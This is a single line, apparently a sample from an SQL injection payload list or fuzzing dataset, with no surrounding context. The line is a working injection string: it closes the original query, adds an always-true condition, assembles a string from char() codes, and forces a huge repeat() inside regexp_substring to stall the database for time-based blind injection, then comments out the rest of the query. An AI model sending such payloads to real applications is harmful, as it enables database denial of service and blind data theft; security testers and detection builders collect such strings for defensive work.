"1  )   as amgf where 4308  =  4308 and char  (  120  )  ||char  (  106  )  ||char  (  117  )  ||char  (  85  )    =  regexp_substring  (  repeat  (  right  (  char  (  9981  )  ,0  )  ,5000000000  )  ,null  )  --"